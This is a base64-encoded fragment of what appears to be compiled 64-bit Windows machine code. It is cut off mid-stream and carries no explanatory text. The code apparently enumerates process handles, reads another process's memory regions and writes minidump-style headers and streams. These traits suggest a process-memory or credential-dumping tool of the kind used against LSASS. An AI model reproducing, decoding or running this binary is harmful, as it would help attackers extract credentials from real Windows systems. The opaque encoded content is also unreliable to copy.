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IBRwBAABIiUXoSItF+EgFIAEAAEiJReBIi0X4SAUkAQAASIlF2EiLRfhIBegCAABIiUXQZsdFkAkAZsdFkgAAZsdFlAAAxkWWAMZFlwFIi0XwiwCJRZhIi0XoiwCJRZxIi0XgD7cAD7fAiUWgSItF2IsAiUWkx0WoAAAAAGbHRawAAGbHRa4AAEjHRbAAAAAASMdFuAAAAADHRYwwAAAASMeFUP///wAAAABIx4VY////AAAAAEjHhWD///8AAAAASMeFaP///wAAAABIx4Vw////AAAAAEjHhXj///8AAAAAx0XMAAAAAItFzEiNlVD///9IAcIPt0WQZokCg0XMAotFzEiNlVD///9IAcIPt0WSZokCg0XMAotFzEiNlVD///9IAcIPt0WUZokCg0XMAotFzEiNlVD///9IAcIPtkWWiAKDRcwBi0XMSI2VUP///0gBwg+2RZeIAoNFzAGLRcxIjZVQ////SAHCi0WYiQKDRcwEi0XMSI2VUP///0gBwotFnIkCg0XMBItFzEiNlVD///9IAcKLRaCJAoNFzASLRcxIjZVQ////SAHCi0WkiQKDRcwEi0XMSI2VUP///0gBwotFqIkCg0XMBItFzEiNlVD///9IAcIPt0WsZokCg0XMAotFzEiNlVD///9IAcIPt0WuZokCg0XMAotFzEiNlVD///9IAcJIi0WwSIkCg0XMCItFzEiNlVD///9IAcJIi0W4SIkCSItFEItAEImFTP///4tVjEiNhVD///9BidBIicJIi00Q6FH5//+FwHUKuAAAAADpzwAAAEiNRYxBuQQAAABJicC6JAAAAEiLTRDo3/j//0iNhUz///9BuQQAAABJicC6KAAAAEiLTRDowfj//0iLRRCLQBCJhUj///9Ii0XQD7cAD7fAiYVE////SI2FRP///0G4BAAAAEiJwkiLTRDo1Pj//4XAdQe4AAAAAOtVSItF0A+3AA+30EiLRdBIi0AIQYnQSInCSItNEOio+P//hcB1B7gAAAAA6ymLhUz///+DwBhIjZVI////QbkEAAAASYnQicJIi00Q6DD4//+4AQAAAEiBxOAAAABdw1VXSIHs2AEAAEiNrCSAAAAASImNcAEAAEiNBVypAABIiYWgAAAASI0FZKkAAEiJhagAAABIjQVsqQAASImFsAAAAEiNBXKpAABIiYW4AAA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5AQAAAEiLBcSGAAD/0EiNFVSdAABIicHoc////7kBAAAASIsFp4YAAP/QSI0VOZ0AAEiJwehW////uQEAAABIiwWKhgAA/9BIjRUanQAASInB6Dn///+5AQAAAEiLBW2GAAD/0EiNFQydAABIicHoHP///7kBAAAASIsFUIYAAP/QSI0V4JwAAEiJwej//v//uQEAAABIiwUzhgAA/9BIjRUCnQAASInB6OL+//+5AQAAAEiLBRaGAAD/0EiNFaacAABIicHoxf7//7kBAAAASIsF+YUAAP/QSI0V8JwAAEiJweio/v//uQEAAABIiwXchQAA/9BIjRVsnAAASInB6Iv+//+5AQAAAEiLBb+FAAD/0EiNFdecAABIicHobv7//7kBAAAASIsFooUAAP/QSI0VMpwAAEiJwehR/v//uQEAAABIiwWFhQAA/9BIjRW0nAAASInB6DT+//+5AQAAAEiLBWiFAAD/0EiNFfibAABIicHoF/7//7kBAAAASIsFS4UAAP/QSI0Vq5wAAEiJwej6/f//uQEAAABIiwUuhQAA/9BIjRW+mwAASInB6N39//+5AQAAAEiLBRGFAAD/0EiNFYCcAABIicHowP3//7kBAAAASIsF9IQAAP/QSI0VhJsAAEiJweij/f//uQEAAABIiwXXhAAA/9BIjRV5nAAASInB6Ib9//+5AQAAAEiLBbqEAAD/0EiNFUqbAABIicHoaf3//7kBAAAASIsFnYQAAP/QSI0VVJwAAEiJwehM/f//uQEAAABIiwWAhAAA/9BIjRUQmwAASInB6C/9//+5AQAAAEiLBWOEAAD/0EiNFVGcAABIicHoEv3//7kBAAAASIsFRoQAAP/QSI0V1poAAEiJwej1/P//uQEAAABIiwUphAAA/9BIjRUonAAASInB6Nj8//+5AQAAAEiLBQyEAAD/0EiNFZyaAABIicHou/z//7kBAAAASIsF74MAAP/QSI0VHZwAAEiJweie/P//uQEAAABIiwXSgwAA/9BIjRVimgAASInB6IH8//+5AQAAAEiLBbWDAAD/0EiNFfybAABIicHoZPz//7kBAAAASIsFmIMAAP/QSI0VKJoAAEiJwehH/P//uQEAAABIiwV7gwAA/9BIjRUCnAAASInB6Cr8//+5AQAAAEiLBV6DAAD/0EiNFe6ZAABIicHoDfz//7kBAAAASIsFQYMAAP/QSI0V8JsAAEiJwejw+///uQEAAABIiwUkgwAA/9BIjRW0mQAASInB6NP7//+5AQAAAEiLBQeDAAD/0EiNFQKcAABIicHotvv//7kBAAAASIsF6oIAAP/QSI0VepkAAEiJweiZ+///uQEAAABIiwXNggAA/9BIjRXcmwAASInB6Hz7//+5AQAAAEiLBbCCAAD/0EiNFUCZAABIicHoX/v//5BIg8QgXcNVV1ZTSIHsGAMAAEiNrCSAAAAAiY3AAgAASImVyAIAAOiTEgAAx4WMAgAAAAAAAEjHhYACAAAAAAAAx4V8AgAAAAAAAMeFeAIAAAAAAADHhXQCAAAAAAAAx4VwAgAAAAAAAEjHhWgCAAAAAAAAx4VkAgAAAAAAAMeFYAIAAAAAAADHhVwCAAAAAAAAx4VYAgAAAAAAAMeFVAIAAAAAAABIx4VIAgAAAAAAAEjHhfgBAAAAAAAASMeF8AEAAAAAAABIjUXgSIlF2GbHRdAAAGbHRdIAAEjHhQgCAAAAAAAASMeFGAIAAAAAAADHhUQCAAABAAAA6aQJAACLhUQCAABImEiNFMUAAAAASIuFyAIAAEgB0EiLAEiJwkiNBb6aAAC5CQAAAEiJ1kiJx/OmD5fAD5LCKdAPvsCFwHUPx4VcAgAAAQAAAOlLCQAAi4VEAgAASJhIjRTFAAAAAEiLhcgCAABIAdBIiwBIicJIjQV1mgAAuQMAAABIidZIicfzpg+XwA+SwinQD77AhcB0Q4uFRAIAAEiYSI0UxQAAAABIi4XIAgAASAHQSIsASInCSI0FNZoAALkIAAAASInWSInH86YPl8APksIp0A++wIXAdQ/HhWACAAABAAAA6bYIAACLhUQCAABImEiNFMUAAAAASIuFyAIAAEgB0EiLAEiJwkiNBeuZAAC5AwAAAEiJ1kiJx/OmD5fAD5LCKdAPvsCFwHRHi4VEAgAASJhIjRTFAAAAAEiLhcgCAABIAdBIiwBIicJIjQWrmQAAuQgAAABIidZIicfzpg+XwA+SwinQD77AhcAPhZgAAACLhUQCAACDwAE5hcACAAB/RLkBAAAASIsFEYAAAP/QSI0VbZkAAEiJwejA+P//uQEAAABIiwX0fwAA/9BIjRWElgAASInB6KP4//+4AAAAAOkuDwAAg4VEAgAAAYuFRAIAAEiYSI0UxQAAAABIi4XIAgAASAHQSIsASImFaAIAAEiLlWgCAABIjUXQSInB6OCa///plAcAAIuFRAIAAEiYSI0UxQAAAABIi4XIAgAASAHQSIsASInCSI0F6pgAALkDAAAASInWSInH86YPl8APksIp0A++wIXAdEeLhUQCAABImEiNFMUAAAAASIuFyAIAAEgB0EiLAEiJwkiNBaqYAAC5BgAAAEiJ1kiJx/OmD5fAD5LCKdAPvsCFwA+FUQEAAIuFRAIAAIPAATmFwAIAAH9EuQEAAABIiwXvfgAA/9BIjRVqmAAASInB6J73//+5AQAAAEiLBdJ+AAD/0EiNFWKVAABIicHogff//7gAAAAA6QwOAACDhUQCAAABi4VEAgAASJhIjRTFAAAAAEiLhcgCAABIAdBIiwBIicHoI3QAAImFjAIAAIO9jAIAAAB0XYuFRAIAAEiYSI0UxQAAAABIi4XIAgAASAHQSIsASI0V8JcAAEiJweiQdAAASInDi4VEAgAASJhIjRTFAAAAAEiLhcgCAABIAdBIiwBIicHoSHQAAEg5ww+EHAYAAIuFRAIAAEiYSI0UxQAAAABIi4XIAgAASAHQSIsYuQEAAABIiwX2fQAA/9BJidhIjRWNlwAASIn